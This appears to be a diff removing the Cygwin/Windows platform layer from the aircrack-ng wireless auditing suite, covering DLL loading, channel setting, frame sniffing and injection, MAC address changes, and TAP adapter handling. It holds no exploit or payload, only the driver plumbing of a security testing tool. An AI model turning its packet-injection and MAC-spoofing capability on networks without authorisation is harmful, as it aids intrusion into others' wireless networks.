-	int		(*pc_set_freq)(int freq);
-	int		(*pc_inject)(void *buf, int len, struct tx_info *ti);
-	int		(*pc_sniff)(void *buf, int len, struct rx_info *ri);
-	int		(*pc_get_mac)(void *mac);
-	int		(*pc_set_mac)(void *mac);
-	void		(*pc_close)(void);
-};
-
-/**
- * strstr() function case insensitive
- * @param String C string to be scanned
- * @param Pattern C string containing the sequence of characters to match
- * @return Pointer to the first occurrence of Pattern in String, or a null pointer if there Pattern is not part of String.
- */
-char *stristr(const char *String, const char *Pattern)
-{
-      char *pptr, *sptr, *start;
-      unsigned  slen, plen;
-
-      for (start = (char *)String,
-           pptr  = (char *)Pattern,
-           slen  = strlen(String),
-           plen  = strlen(Pattern);
-
-           /* while string length not shorter than pattern length */
-
-           slen >= plen;
-
-           start++, slen--)
-      {
-            /* find start of pattern in string */
-            while (toupper((int)*start) != toupper((int)*Pattern))
-            {
-                  start++;
-                  slen--;
-
-                  /* if pattern longer than string */
-
-                  if (slen < plen)
-                        return(NULL);
-            }
-
-            sptr = start;
-            pptr = (char *)Pattern;
-
-            while (toupper((int)*sptr) == toupper((int)*pptr))
-            {
-                  sptr++;
-                  pptr++;
-
-                  /* if end of pattern then pattern was found */
-
-                  if ('\0' == *pptr)
-                        return (start);
-            }
-      }
-      return(NULL);
-}
-
-/**
- * Get the different functions for to interact with the device:
- * - setting monitor mode
- * - changing channel
- * - capturing data
- * - injecting packets
- * @param iface The interface name
- */
-static int do_cygwin_open(struct wif *wi, char *iface)
-{
-	struct priv_cygwin *priv = wi_priv(wi);
-	void *lib;
-	char *file;
-	char *parm;
-	int rc = -1;
-	int tempret = 0;
-
-	if (!iface)
-		return -1;
-	if (strlen(iface) == 0)
-		return -1;
-
-	priv->useDll = 0;
-
-	if (stristr(iface, DLL_EXTENSION))
-		priv->useDll = 1;
-
-	if (priv->useDll)
-	{
-		file = strdup(iface);
-		if (!file)
-			return -1;
-
-		parm = strchr(file, '|');
-		if (parm)
-			*parm++ = 0;
-
-		/* load lib */
-		lib = dlopen(file, RTLD_LAZY);
-		if (!lib)
-			goto errdll;
-
-		priv->pc_init		= dlsym(lib, xstr(CYGWIN_DLL_INIT));
-		priv->pc_set_chan	= dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN));
-		priv->pc_set_freq	= dlsym(lib, xstr(CYGWIN_DLL_SET_FREQ));
-		priv->pc_get_mac	= dlsym(lib, xstr(CYGWIN_DLL_GET_MAC));
-		priv->pc_set_mac	= dlsym(lib, xstr(CYGWIN_DLL_SET_MAC));
-		priv->pc_close		= dlsym(lib, xstr(CYGWIN_DLL_CLOSE));
-		priv->pc_inject		= dlsym(lib, xstr(CYGWIN_DLL_INJECT));
-		priv->pc_sniff		= dlsym(lib, xstr(CYGWIN_DLL_SNIFF));
-
-		if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac
-			  && priv->pc_inject && priv->pc_sniff && priv->pc_close))
-			goto errdll;
-
-		/* init lib */
-		if ((rc = priv->pc_init(parm)))
-			goto errdll;
-		priv->pc_did_init = 1;
-
-		rc = 0;
-
-errdll:
-		free(file);
-	}
-	else
-	{
-		#ifdef HAVE_AIRPCAP
-			// Check if it's an Airpcap device
-			priv->isAirpcap = isAirpcapDevice(iface);
-
-
-			if (priv->isAirpcap)
-			{
-				// Get functions
-				priv->pc_init		= airpcap_init;
-				priv->pc_set_chan	= airpcap_set_chan;
-				priv->pc_get_mac	= airpcap_get_mac;
-				priv->pc_set_mac	= airpcap_set_mac;
-				priv->pc_close		= airpcap_close;
-				priv->pc_inject		= airpcap_inject;
-				priv->pc_sniff		= airpcap_sniff;
-
-				rc = 0;
-			}
-
-		#endif
-
-	}
-
-	if (rc == 0)
-	{
-		// Don't forget to initialize
-		if (! priv->useDll)
-		{
-			rc = priv->pc_init(iface);
-
-			if (rc == 0)
-				priv->pc_did_init = 1;
-			else
-				fprintf(stderr,"Error initializing <%s>\n", iface);
-		}
-
-		if (priv->pc_did_init) {
-			/* set initial chan */
-			tempret = wi_set_channel(wi, 1);
-			if (tempret)
-				rc = tempret;
-		}
-	}
-	else
-	{
-		// Show an error message if the adapter is not supported
-		fprintf(stderr, "Adapter <%s> not supported\n", iface);
-	}
-
-	return rc;
-}
-
-/**
- * Change channel
- * @param chan Channel
- * @return 0 if successful, -1 if it failed
- */
-static int cygwin_set_channel(struct wif *wi, int chan)
-{
-	struct priv_cygwin *priv = wi_priv(wi);
-
-	if (priv->pc_set_chan(chan) == -1)
-		return -1;
-
-	priv->pc_channel = chan;
-	return 0;
-}
-
-/**
- * Change frequency
- * @param freq Frequency
- * @return 0 if successful, -1 if it failed
- */
-static int cygwin_set_freq(struct wif *wi, int freq)
-{
-	struct priv_cygwin *priv = wi_priv(wi);
-
-	if (!priv->pc_set_freq || priv->pc_set_freq(freq) == -1)
-		return -1;
-
-	priv->pc_frequency = freq;
-	return 0;
-}
-
-
-/**
- * Capture a packet
- * @param buf Buffer for the packet (has to be already allocated)
- * @param len Length of the buffer
- * @param ri Receive information structure
- * @return -1 in case of failure or the number of bytes received
- */
-static int cygwin_read_packet(struct priv_cygwin *priv, void *buf, int len,
-			      struct rx_info *ri)
-{
-	int rd;
-
-	memset(ri, 0, sizeof(*ri));
-
-	rd = priv->pc_sniff(buf, len, ri);
-	if (rd == -1)
-		return -1;
-
-	if (!ri->ri_channel)
-		ri->ri_channel = wi_get_channel(priv->pc_wi);
-
-	return rd;
-}
-
-/**
- * Send a packet
- * @param h80211 The packet itself
- * @param len Length of the packet
- * @param ti Transmit information
- * @return -1 if failure or the number of bytes sent
- */
-static int cygwin_write(struct wif *wi, unsigned char *h80211, int len,
-			struct tx_info *ti)
-{
-	struct priv_cygwin *priv = wi_priv(wi);
-	int rc;
-
-	if ((rc = priv->pc_inject(h80211, len, ti)) == -1)
-		return -1;
-
-	return rc;
-}
-
-/**
- * Get device channel
- * @return channel
- */
-static int cygwin_get_channel(struct wif *wi)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-
-	return pc->pc_channel;
-}
-
-static int cygwin_get_freq(struct wif *wi)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-
-	return pc->pc_frequency;
-}
-
-int cygwin_read_reader(int fd, int plen, void *dst, int len)
-{
-	/* packet */
-	if (len > plen)
-		len = plen;
-	if (net_read_exact(fd, dst, len) == -1)
-		return -1;
-	plen -= len;
-
-	/* consume packet */
-	while (plen) {
-		char lame[1024];
-		int rd = sizeof(lame);
-
-		if (rd > plen)
-			rd = plen;
-
-		if (net_read_exact(fd, lame, rd) == -1)
-			return -1;
-
-		plen -= rd;
-
-		assert(plen >= 0);
-	}
-
-	return len;
-}
-
-static int cygwin_read(struct wif *wi, unsigned char *h80211, int len,
-		       struct rx_info *ri)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-	struct rx_info tmp;
-	int plen;
-
-	if (pc->pc_running == -1)
-		return -1;
-
-	if (!ri)
-		ri = &tmp;
-
-	/* length */
-	if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1)
-		return -1;
-
-	/* ri */
-	if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1)
-		return -1;
-	plen -= sizeof(*ri);
-	assert(plen > 0);
-
-	return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len);
-}
-
-/**
- * Free allocated data
- */
-static void do_free(struct wif *wi)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-	int tries = 3;
-
-	/* wait for reader */
-	if (pc->pc_running == 1) {
-		pc->pc_running = 0;
-
-		while ((pc->pc_running != -1) && tries--)
-			sleep(1);
-	}
-
-	if (pc->pc_pipe[0]) {
-		close(pc->pc_pipe[0]);
-		close(pc->pc_pipe[1]);
-	}
-
-	if (pc->pc_did_init)
-		pc->pc_close();
-
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-
-	free(wi);
-}
-
-/**
- * Close the device and free data
- */
-static void cygwin_close(struct wif *wi)
-{
-	do_free(wi);
-}
-
-/**
- * Get the file descriptor for the device
- */
-static int cygwin_fd(struct wif *wi)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-
-	if (pc->pc_running == -1)
-		return -1;
-
-	return pc->pc_pipe[0];
-}
-
-/**
- * Get MAC Address of the device
- * @param mac It will contain the mac address
- * @return 0 if successful
- */
-static int cygwin_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-
-	return pc->pc_get_mac(mac);
-}
-/**
- * Set MAC Address of the device
- * @param mac MAC Address
- * @return 0 if successful
- */
-static int cygwin_set_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_cygwin *pc = wi_priv(wi);
-
-	return pc->pc_set_mac(mac);
-}
-
-static int cygwin_get_monitor(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	return 0;
-}
-
-static int cygwin_get_rate(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	return 1000000;
-}
-
-/**
- * Set (injection) rate of the device
- * @param rate Rate to be used
- * @return 0 (successful)
- */
-static int cygwin_set_rate(struct wif *wi, int rate)
-{
-	if (wi || rate) {} /* XXX unused */
-
-	return 0;
-}
-
-static void *cygwin_reader(void *arg)
-{
-	struct priv_cygwin *priv = arg;
-	unsigned char buf[2048];
-	int len;
-	struct rx_info ri;
-
-	while (priv->pc_running) {
-		/* read one packet */
-
-		/* a potential problem: the cygwin_read_packet will never return
-		 * if there no packet sniffered, so the thread cannot be closed
-		 * correctly.
-		 */
-		len = cygwin_read_packet(priv, buf, sizeof(buf), &ri);
-		if (len == -1)
-			break;
-
-		/* len */
-		len += sizeof(ri);
-		if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len))
-			break;
-		len -= sizeof(ri);
-
-		/* ri */
-		if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri))
-			break;
-
-		/* packet */
-		if (write(priv->pc_pipe[1], buf, len) != len)
-			break;
-	}
-
-	priv->pc_running = -1;
-	return NULL;
-}
-
-static struct wif *cygwin_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_cygwin *priv;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*priv));
-	if (!wi)
-		return NULL;
-	wi->wi_read		= cygwin_read;
-	wi->wi_write		= cygwin_write;
-	wi->wi_set_channel	= cygwin_set_channel;
-	wi->wi_get_channel	= cygwin_get_channel;
-	wi->wi_set_freq		= cygwin_set_freq;
-	wi->wi_get_freq		= cygwin_get_freq;
-	wi->wi_close		= cygwin_close;
-	wi->wi_fd		= cygwin_fd;
-	wi->wi_get_mac		= cygwin_get_mac;
-	wi->wi_set_mac		= cygwin_set_mac;
-	wi->wi_get_rate		= cygwin_get_rate;
-	wi->wi_set_rate		= cygwin_set_rate;
-        wi->wi_get_monitor      = cygwin_get_monitor;
-
-	/* setup iface */
-	if (do_cygwin_open(wi, iface) == -1)
-		goto err;
-
-	/* setup private state */
-	priv = wi_priv(wi);
-	priv->pc_wi = wi;
-
-	/* setup reader */
-	if (pipe(priv->pc_pipe) == -1)
-		goto err;
-	priv->pc_running = 2;
-	if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv))
-		goto err;
-	priv->pc_running = 1;
-
-	return wi;
-
-err:
-	do_free(wi);
-	return NULL;
-}
-
-struct wif *wi_open_osdep(char *iface)
-{
-	return cygwin_open(iface);
-}
-
-/**
- * Return remaining battery time in seconds.
- * @return Battery time in seconds or 0 if no battery (or connected to power)
- */
-int get_battery_state(void)
-{
-	SYSTEM_POWER_STATUS powerStatus;
-	int batteryTime = 0;
-
-	if (GetSystemPowerStatus(&powerStatus) == TRUE)
-	{
-
-		if (powerStatus.ACLineStatus == 0)
-			batteryTime = (int)powerStatus.BatteryLifeTime;
-
-	}
-	return batteryTime;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/cygwin.h Deleted

@@ -1,52 +0,0 @@
-  /*
-   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-   *
-   *  OS dependent API for cygwin. It relies on an external
-   *  DLL to do the actual wifi stuff
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-   */
-
-// DLL function that have to be exported
-#define CYGWIN_DLL_INIT		cygwin_init
-#define CYGWIN_DLL_SET_CHAN	cygwin_set_chan
-#define CYGWIN_DLL_SET_FREQ   cygwin_set_freq
-#define CYGWIN_DLL_INJECT	cygwin_inject
-#define CYGWIN_DLL_SNIFF	cygwin_sniff
-#define CYGWIN_DLL_GET_MAC	cygwin_get_mac
-#define CYGWIN_DLL_SET_MAC	cygwin_set_mac
-#define CYGWIN_DLL_CLOSE	cygwin_close
-
-/*
- * Prototypes:
- * int  CYGWIN_DLL_INIT		(char *param);
- * int  CYGWIN_DLL_SET_CHAN	(int chan);
- * int  CYGWIN_DLL_INJECT	(void *buf, int len, struct tx_info *ti);
- * int  CYGWIN_DLL_SNIFF	(void *buf, int len, struct rx_info *ri);
- * int  CYGWIN_DLL_GET_MAC	(unsigned char *mac);
- * int  CYGWIN_DLL_SET_MAC	(unsigned char *mac);
- * void CYGWIN_DLL_CLOSE	(void);
- *
- * Notes:
- * - sniff can block and inject can be called by another thread.
- * - return -1 for error.
- *
- */
-
-/* XXX the interface is broken.  init() should return a void* that is passed to
- * each call.  This way multiple instances can be open by a single process.
- * -sorbo
- *
- */

aircrack-ng-1.2-rc4.tar.gz/src/osdep/cygwin_tap.c Deleted

@@ -1,659 +0,0 @@
-  /*
-   *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-   *
-   *  OS dependent API for cygwin. TAP routines
-   *
-   *  This program is free software; you can redistribute it and/or modify
-   *  it under the terms of the GNU General Public License as published by
-   *  the Free Software Foundation; either version 2 of the License, or
-   *  (at your option) any later version.
-   *
-   *  This program is distributed in the hope that it will be useful,
-   *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-   *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   *  GNU General Public License for more details.
-   *
-   *  You should have received a copy of the GNU General Public License
-   *  along with this program; if not, write to the Free Software
-   *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <pthread.h>
-#include <assert.h>
-
-#include "osdep.h"
-
-#include <windows.h>
-#include <winioctl.h>
-#include <ipexport.h>
-#include <iptypes.h>
-#include <initguid.h>
-#include <devguid.h>
-#include <setupapi.h>
-
-#include "network.h"
-#include "tap-win32/common.h"
-
-extern DWORD WINAPI GetAdaptersInfo(PIP_ADAPTER_INFO pAdapterInfo,PULONG pOutBufLen);
-extern DWORD WINAPI AddIPAddress(IPAddr Address,IPMask IpMask,DWORD IfIndex,PULONG NTEContext,PULONG NTEInstance);
-extern DWORD WINAPI DeleteIPAddress(ULONG NTEContext);
-
-extern int cygwin_read_reader(int fd, int plen, void *dst, int len);
-static void *ti_reader(void *arg);
-
-struct tip_cygwin {
-	char		tc_name[MAX_IFACE_NAME];
-	HANDLE		tc_h;
-	pthread_t	tc_reader;
-	volatile int	tc_running;
-	int		tc_pipe[2]; /* reader -> parent */
-	pthread_mutex_t	tc_mtx;
-	HKEY		tc_key;
-	char		tc_guid[256];
-};
-
-/**
- * Stop the reader thread (if it is running)
- * @return 0 if stopped or -1 if it failed to stop it
- */
-static int stop_reader(struct tip_cygwin *priv)
-{
-	if (priv->tc_running == 1) {
-		int tries = 3;
-
-		priv->tc_running = 0;
-		while ((priv->tc_running != -1) && tries--)
-			sleep(1);
-
-		if (tries <= 0)
-			return -1;
-	}
-
-	return 0;
-}
-
-/**
- * Start reader thread
- * @return -1 if failed to start thread or 0 if it is successful
- */
-static int start_reader(struct tip_cygwin *priv)
-{
-	priv->tc_running = 2;
-	if (pthread_create(&priv->tc_reader, NULL, ti_reader, priv))
-		return -1;
-
-	priv->tc_running = 1;
-
-	return 0;
-}
-
-/**
- * Change status (enable/disable) of the device
- */
-static int ti_media_status(struct tip_cygwin *priv, int on)
-{
-	ULONG s = on;
-	DWORD len;
-
-	if (!DeviceIoControl(priv->tc_h, TAP_IOCTL_SET_MEDIA_STATUS, &s,
-			     sizeof(s), &s, sizeof(s), &len, NULL))
-		return -1;
-
-	return 0;
-}
-
-/**
- * Try opening device
- */
-static int ti_try_open(struct tip_cygwin *priv, char *guid)
-{
-	int any = priv->tc_guid[0] == 0;
-	char device[256];
-	HANDLE h;
-
-	if (!any && strcmp(priv->tc_guid, guid) != 0)
-		return 0;
-
-	/* open the device */
-	snprintf(device, sizeof(device), "%s%s%s",
-		 USERMODEDEVICEDIR, guid, TAPSUFFIX);
-	h = CreateFile(device, GENERIC_READ | GENERIC_WRITE, 0, 0,
-		       OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM
-		       | FILE_FLAG_OVERLAPPED, 0);
-	if (h == INVALID_HANDLE_VALUE) {
-		if (any)
-			return 0;
-		else
-			return -1;
-	}
-	priv->tc_h = h;
-
-	/* XXX check tap version */
-
-	/* bring iface up */
-	if (ti_media_status(priv, 1) == -1)
-		return -1;
-
-	/* XXX grab printable name */
-	snprintf(priv->tc_name, sizeof(priv->tc_name)-1, "%s", guid);
-
-	if (any)
-		snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", guid);
-
-	return 1;
-}
-
-/**
- * Read registry value
- * @param key Registry key
- * @return 0 if successful, -1 if it failed
- */
-static int ti_read_reg(struct tip_cygwin *priv, char *key, char *res, int len)
-{
-	DWORD dt, l = len;
-
-	if (RegQueryValueEx(priv->tc_key, key, NULL, &dt,
-	    (unsigned char*) res, &l) != ERROR_SUCCESS)
-		return -1;
-
-	if (dt != REG_SZ)
-		return -1;
-
-	if ((int)l > len)
-		return -1;
-
-	return 0;
-}
-
-static int ti_get_devs_component(struct tip_cygwin *priv, char *name)
-{
-	char key[256];
-	int rc = 0;
-
-	snprintf(key, sizeof(key)-1, "%s\\%s", ADAPTER_KEY, name);
-	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, 0, KEY_READ | KEY_WRITE,
-			 &priv->tc_key) != ERROR_SUCCESS)
-		return -1;
-
-	if (ti_read_reg(priv, "ComponentId", key, sizeof(key)) == -1)
-		goto out;
-
-	/* make sure component id matches */
-	if (strcmp(key, TAP_COMPONENT_ID) != 0)
-		goto out;
-
-	/* get guid */
-	if (ti_read_reg(priv, "NetCfgInstanceId", key, sizeof(key)) == -1)
-		goto out;
-
-	rc = ti_try_open(priv, key);
-
-out:
-	if (rc != 1) {
-		RegCloseKey(priv->tc_key);
-		priv->tc_key = 0;
-	}
-
-	return rc;
-}
-
-static int ti_do_open_cygwin(struct tip_cygwin *priv)
-{
-	int rc = -1;
-	HKEY ak47;
-	int i;
-	char name[256];
-	DWORD len;
-
-	/* open network driver key */
-	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, ADAPTER_KEY, 0, KEY_READ, &ak47)
-	    != ERROR_SUCCESS)
-		return -1;
-
-	/* find tap */
-	for (i = 0;; i++) {
-		len = sizeof(name);
-		if (RegEnumKeyEx(ak47, i, name, &len, NULL, NULL, NULL, NULL)
-		    != ERROR_SUCCESS)
-			break;
-
-		rc = ti_get_devs_component(priv, name);
-		if (rc)
-			break;
-		rc = -1;
-	}
-
-	RegCloseKey(ak47);
-
-	if (rc == 1)
-		rc = 0;
-
-	return rc;
-}
-
-static void ti_do_free(struct tif *ti)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-
-	/* stop reader */
-	stop_reader(priv);
-
-	if (priv->tc_pipe[0]) {
-		close(priv->tc_pipe[0]);
-		close(priv->tc_pipe[1]);
-	}
-
-	/* close card */
-	if (priv->tc_h) {
-		ti_media_status(priv, 0);
-		CloseHandle(priv->tc_h);
-	}
-
-	if (priv->tc_key)
-		RegCloseKey(priv->tc_key);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_close_cygwin(struct tif *ti)
-{
-	ti_do_free(ti);
-}
-
-static char *ti_name_cygwin(struct tif *ti)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-
-	return priv->tc_name;
-}
-
-/* XXX */
-static int ti_is_us(struct tip_cygwin *priv, HDEVINFO *hdi,
-		    SP_DEVINFO_DATA *did)
-{
-	char buf[256];
-	DWORD len = sizeof(buf), dt;
-
-	if (priv) {} /* XXX unused */
-
-	if (!SetupDiGetDeviceRegistryProperty(*hdi, did, SPDRP_DEVICEDESC, &dt,
-					      (unsigned char*)buf, len, &len))
-		return 0;
-
-	if (dt != REG_SZ)
-		return 0;
-
-	return strstr(buf, "TAP-Win32") != NULL;
-}
-
-static int ti_reset_state(HDEVINFO *hdi, SP_DEVINFO_DATA *did, DWORD state)
-{
-	SP_PROPCHANGE_PARAMS parm;
-
-	parm.ClassInstallHeader.cbSize = sizeof(parm.ClassInstallHeader);
-	parm.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
-	parm.Scope = DICS_FLAG_GLOBAL;
-	parm.StateChange = state;
-
-	if (!SetupDiSetClassInstallParams(*hdi, did, (SP_CLASSINSTALL_HEADER*)
-					  &parm, sizeof(parm)))
-		return -1;
-
-	if (!SetupDiCallClassInstaller(DIF_PROPERTYCHANGE, *hdi, did))
-		return -1;
-
-	return 0;
-}
-
-/**
- * Reset the device
- * @return 0 if successful, -1 if it failed
- */
-static int ti_do_reset(HDEVINFO *hdi, SP_DEVINFO_DATA *did)
-{
-	int rc;
-
-	rc = ti_reset_state(hdi, did, DICS_DISABLE);
-	if (rc)
-		return rc;
-
-	return ti_reset_state(hdi, did, DICS_ENABLE);
-}
-
-static int ti_restart(struct tip_cygwin *priv)
-{
-	/* kill handle to if */
-	if (priv->tc_h)
-		CloseHandle(priv->tc_h);
-
-	/* stop reader */
-	if (stop_reader(priv))
-		return -1;
-
-	/* reopen dev */
-	if (ti_do_open_cygwin(priv))
-		return -1;
-
-	return start_reader(priv);
-}
-
-static int ti_reset(struct tip_cygwin *priv)
-{
-	HDEVINFO hdi;
-	SP_DEVINFO_DATA did;
-	int i;
-	int rc = -1;
-
-	hdi = SetupDiGetClassDevs(&GUID_DEVCLASS_NET, NULL, NULL,
-			  DIGCF_PRESENT);
-	if (hdi == INVALID_HANDLE_VALUE)
-		return -1;
-
-	/* find device */
-	for (i = 0;; i++) {
-		did.cbSize = sizeof(did);
-		if (!SetupDiEnumDeviceInfo(hdi, i, &did))
-			break;
-
-		if (!ti_is_us(priv, &hdi, &did))
-			continue;
-
-		rc = ti_do_reset(&hdi, &did);
-		if (rc)
-			break;
-
-		rc = ti_restart(priv);
-		break;
-	}
-
-	SetupDiDestroyDeviceInfoList(hdi);
-
-	return rc;
-}
-
-static int ti_set_mtu_cygwin(struct tif *ti, int mtu)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-	char m[16];
-	char mold[sizeof(m)];
-	char *key = "MTU";
-
-	/* check if reg remains unchanged to avoid reset */
-	snprintf(m, sizeof(m)-1, "%d", mtu);
-	if (ti_read_reg(priv, key, mold, sizeof(mold)) != -1) {
-		if (strcmp(m, mold) == 0)
-			return 0;
-	}
-
-	/* change */
-	if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ,
-			  (unsigned char *) m, strlen(m)+1) != ERROR_SUCCESS)
-		return -1;
-
-	if (ti_reset(priv) == -1)
-		return -1;
-
-	return 0;
-}
-
-/**
- * Set device MAC address
- * @param mac New MAC address
- * @return -1 if it failed, 0 on success
- */
-static int ti_set_mac_cygwin(struct tif *ti, unsigned char *mac)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-	char str[2*6+1];
-	char strold[sizeof(str)];
-	int i;
-	char *key = "MAC";
-
-	/* convert */
-	str[0] = 0;
-	for (i = 0; i < 6; i++) {
-		char tmp[3];
-
-		if (sprintf(tmp, "%.2X", *mac++) != 2)
-			return -1;
-		strcat(str, tmp);
-	}
-
-	/* check if changed */
-	if (ti_read_reg(priv, key, strold, sizeof(strold)) != -1) {
-		if (strcmp(str, strold) == 0)
-			return 0;
-	}
-
-	/* own */
-	if (RegSetValueEx(priv->tc_key, key, 0, REG_SZ, (unsigned char *)str,
-			  strlen(str)+1) != ERROR_SUCCESS)
-		return -1;
-
-	if (ti_reset(priv) == -1)
-		return -1;
-
-	return 0;
-}
-
-/**
- * Set device IP address
- * @param ip New IP address
- * @return -1 if it failed, 0 on success
- */
-static int ti_set_ip_cygwin(struct tif *ti, struct in_addr *ip)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-	ULONG ctx, inst;
-	IP_ADAPTER_INFO ai[16];
-	DWORD len = sizeof(ai);
-	PIP_ADAPTER_INFO p;
-	PIP_ADDR_STRING ips;
-
-	if (GetAdaptersInfo(ai, &len) != ERROR_SUCCESS)
-		return -1;
-
-	p = ai;
-	while (p) {
-		if (strcmp(priv->tc_guid, p->AdapterName) != 0) {
-			p = p->Next;
-			continue;
-		}
-
-		/* delete ips */
-		ips = &p->IpAddressList;
-		while (ips) {
-			DeleteIPAddress(ips->Context);
-			ips = ips->Next;
-		}
-
-		/* add ip */
-		if (AddIPAddress(ip->s_addr, htonl(0xffffff00),
-			 p->Index, &ctx, &inst) != NO_ERROR)
-			return -1;
-
-		break;
-	}
-
-	return 0;
-}
-
-static int ti_fd_cygwin(struct tif *ti)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-
-	return priv->tc_pipe[0];
-}
-
-static int ti_read_cygwin(struct tif *ti, void *buf, int len)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-	int plen;
-
-	if (priv->tc_running != 1)
-		return -1;
-
-	/* read len */
-	if (net_read_exact(priv->tc_pipe[0], &plen, sizeof(plen)) == -1)
-		return -1;
-
-	return cygwin_read_reader(priv->tc_pipe[0], plen, buf, len);
-}
-
-static int ti_wait_complete(struct tip_cygwin *priv, OVERLAPPED *o)
-{
-	DWORD sz;
-
-	if (!GetOverlappedResult(priv->tc_h, o, &sz, TRUE))
-		return -1;
-
-	return sz;
-}
-
-static int ti_do_io(struct tip_cygwin *priv, void *buf, int len,
-		    OVERLAPPED *o, int wr)
-{
-	BOOL rc;
-	DWORD sz;
-	int err;
-
-	/* setup overlapped */
-	memset(o, 0, sizeof(*o));
-
-	/* do io */
-	if (wr)
-		rc = WriteFile(priv->tc_h, buf, len, &sz, o);
-	else
-		rc = ReadFile(priv->tc_h, buf, len, &sz, o);
-
-	/* done */
-	if (rc)
-		return sz;
-
-	if ((err = GetLastError()) != ERROR_IO_PENDING)
-		return -1;
-
-	return 0; /* pending */
-}
-
-static int ti_do_io_lock(struct tip_cygwin *priv, void *buf, int len,
-			 OVERLAPPED *o, int wr)
-{
-	int rc;
-
-	if (pthread_mutex_lock(&priv->tc_mtx))
-		return -1;
-
-	rc = ti_do_io(priv, buf, len, o, wr);
-
-	if (pthread_mutex_unlock(&priv->tc_mtx))
-		return -1;
-
-	/* done */
-	if (rc)
-		return rc;
-
-	return ti_wait_complete(priv, o);
-}
-
-static int ti_write_cygwin(struct tif *ti, void *buf, int len)
-{
-	struct tip_cygwin *priv = ti_priv(ti);
-	OVERLAPPED o;
-
-	return ti_do_io_lock(priv, buf, len, &o, 1);
-}
-
-static int ti_read_packet(struct tip_cygwin *priv, void *buf, int len)
-{
-	OVERLAPPED o;
-	int rc;
-
-	while (priv->tc_running) {
-		rc = ti_do_io_lock(priv, buf, len, &o, 0);
-		if (rc)
-			return rc;
-	}
-
-	return -1;
-}
-
-static void *ti_reader(void *arg)
-{
-	struct tip_cygwin *priv = arg;
-	unsigned char buf[2048];
-	int len;
-
-	while (priv->tc_running) {
-		/* read a packet */
-		if ((len = ti_read_packet(priv, buf, sizeof(buf))) == -1)
-			break;
-
-		assert(len > 0);
-
-		/* write it's length */
-		if (write(priv->tc_pipe[1], &len, sizeof(len)) != sizeof(len))
-			break;
-
-		/* write payload */
-		if (write(priv->tc_pipe[1], buf, len) != len)
-			break;
-	}
-
-	priv->tc_running = -1;
-
-	return NULL;
-}
-
-static struct tif *ti_open_cygwin(char *iface)
-{
-	struct tif *ti;
-	struct tip_cygwin *priv;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti)
-		return NULL;
-	priv = ti_priv(ti);
-
-	ti->ti_name	= ti_name_cygwin;
-	ti->ti_set_mtu	= ti_set_mtu_cygwin;
-	ti->ti_close	= ti_close_cygwin;
-	ti->ti_fd	= ti_fd_cygwin;
-	ti->ti_read	= ti_read_cygwin;
-	ti->ti_write	= ti_write_cygwin;
-	ti->ti_set_mac	= ti_set_mac_cygwin;
-	ti->ti_set_ip	= ti_set_ip_cygwin;
-
-	/* setup iface */
-	if (iface)
-		snprintf(priv->tc_guid, sizeof(priv->tc_guid), "%s", iface);
-	if (ti_do_open_cygwin(priv) == -1)
-		goto err;
-
-	/* setup reader */
-	if (pipe(priv->tc_pipe) == -1)
-		goto err;
-
-	if (pthread_mutex_init(&priv->tc_mtx, NULL))
-		goto err;
-
-	/* launch reader */
-	if (start_reader(priv))
-		goto err;
-
-	return ti;
-err:
-	ti_do_free(ti);
-	return NULL;
-}
-
-struct tif *ti_open(char *iface)
-{
-	return ti_open_cygwin(iface);
-}

